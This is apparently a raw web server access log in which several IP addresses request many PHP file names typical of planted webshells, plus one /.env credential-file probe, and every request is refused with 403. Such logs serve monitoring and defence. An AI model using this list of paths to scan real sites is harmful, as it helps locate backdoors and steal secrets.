20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /222.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10942**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /2p.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7809**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /2p.update.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5940**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /3pjcpmfsd8b.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 73 **0/73400**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /403.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16930**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /404.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6190**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /4pjcpmfsd8b.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12183**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /666.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5792**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /7.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8167**
20.104.18.253 - - [03/Aug/2026:07:16:25 -0700] "GET /8.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 10 **0/10154**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /87.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5363**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /99.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6604**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /a.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19191**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /a4.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7117**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /a7.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 69 **0/69151**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /aa.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8655**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /aaa.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9414**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /ab.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6233**
20.104.18.253 - - [03/Aug/2026:07:16:26 -0700] "GET /abc.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6224**
20.104.18.253 - - [03/Aug/2026:07:16:27 -0700] "GET /abcd.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17860**
20.104.18.253 - - [03/Aug/2026:07:16:27 -0700] "GET /about.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5802**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.dj/index.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5859**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.tmb/ HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7202**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.vscode/class-wp-http-client.php HTTP/2.0" 403 10871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11138**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.well-known/ HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11926**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.well-known/about.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5147**
135.119.63.61 - - [03/Aug/2026:07:26:32 -0700] "GET /.well-known/acme-challenge/ HTTP/2.0" 403 10866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13448**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/acme-challenge/block-supports/ HTTP/2.0" 403 10881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5323**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/acme-challenge/muse.php HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5766**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/bdkr28_61cohkhh.php HTTP/2.0" 403 10870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6435**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/class-wp-http-client.php HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9123**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/gecko-litespeed.php HTTP/2.0" 403 10870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7428**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/ws.php HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24608**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.well-known/index.php HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 182 **0/182661**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /.xa/class-wp-http-client.php HTTP/2.0" 403 10867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8134**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /0.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7159**
135.119.63.61 - - [03/Aug/2026:07:26:33 -0700] "GET /000.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9644**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /002.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18102**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /0x.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5972**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /0xd.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14641**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /1.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7665**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /100.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7744**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /12.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14260**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /123.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16698**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /13.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7083**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /133.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6241**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /155.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5771**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /166.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13327**
135.119.63.61 - - [03/Aug/2026:07:26:34 -0700] "GET /2.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5626**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /2026w.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24687**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /222.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5489**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /2p.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5158**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /2p.update.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5415**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /3pjcpmfsd8b.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11228**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /403.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15228**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /404.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6936**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /4pjcpmfsd8b.php HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5965**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /666.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6407**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /7.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7389**
135.119.63.61 - - [03/Aug/2026:07:26:35 -0700] "GET /8.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9664**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /87.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5425**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /99.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6044**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /a.php HTTP/2.0" 403 10844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6889**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /a4.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8130**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /a7.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7139**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /aa.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6962**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /aaa.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5472**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /ab.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7255**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /abc.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6032**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /abcd.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7267**
135.119.63.61 - - [03/Aug/2026:07:26:36 -0700] "GET /about.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19847**
94.154.43.229 - - [03/Aug/2026:15:41:38 -0700] "GET /.env HTTP/2.0" 403 10843 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 4 **0/4913**
20.203.148.31 - - [03/Aug/2026:16:45:47 -0700] "GET /json.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7455**
20.203.148.31 - - [03/Aug/2026:16:45:48 -0700] "GET /mini.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19496**
20.203.148.31 - - [03/Aug/2026:16:45:48 -0700] "GET /chosen.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11438**
20.203.148.31 - - [03/Aug/2026:16:45:48 -0700] "GET /kj.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5373**
20.203.148.31 - - [03/Aug/2026:16:45:48 -0700] "GET /wp-files.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5398**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /wp-setup.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5633**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /defaults.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5494**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /gtc.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8383**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /import.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12193**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /lufix.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5922**
20.203.148.31 - - [03/Aug/2026:16:45:49 -0700] "GET /Geforce.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 8 **0/8148**
20.203.148.31 - - [03/Aug/2026:16:45:50 -0700] "GET /a4.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5893**
20.203.148.31 - - [03/Aug/2026:16:45:50 -0700] "GET /accueil.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4838**
20.203.148.31 - - [03/Aug/2026:16:45:50 -0700] "GET /dashboard.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6129**
20.203.148.31 - - [03/Aug/2026:16:45:50 -0700] "GET /radio.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5660**
20.203.148.31 - - [03/Aug/2026:16:45:50 -0700] "GET /wpsml-sys.php HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6072**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /02.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11325**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /infos.php HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6398**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /updates.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 9 **0/9668**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /user.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19256**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /alfa.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5758**
20.203.148.31 - - [03/Aug/2026:16:45:51 -0700] "GET /admin-ajax.php HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 434 **0/434856**
20.203.148.31 - - [03/Aug/2026:16:45:52 -0700] "GET /alfacgiapi HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 7 **0/7408**
20.203.148.31 - - [03/Aug/2026:16:45:52 -0700] "GET /hehe.php HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5945**
20.203.148.31 - - [03/Aug/2026:16:45:52 -0700] "GET /rk2.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5285**
20.203.148.31 - - [03/Aug/2026:16:45:52 -0700] "GET /setup-config.php HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5559**
20.203.148.31 - - [03/Aug/2026:16:45:52 -0700] "GET /a7.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4681**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /f7.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4964**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /nw.php HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5840**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /ova.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 6 **0/6881**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /robots.php HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4312**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /alf.php HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3 **0/3920**
20.203.148.31 - - [03/Aug/2026:16:45:53 -0700] "GET /feedback.php HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4 **0/4857**
20.203.148.31 - - [03/Aug/2026:16:45:54 -0700] "GET /gettest.php HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5 **0/5077**
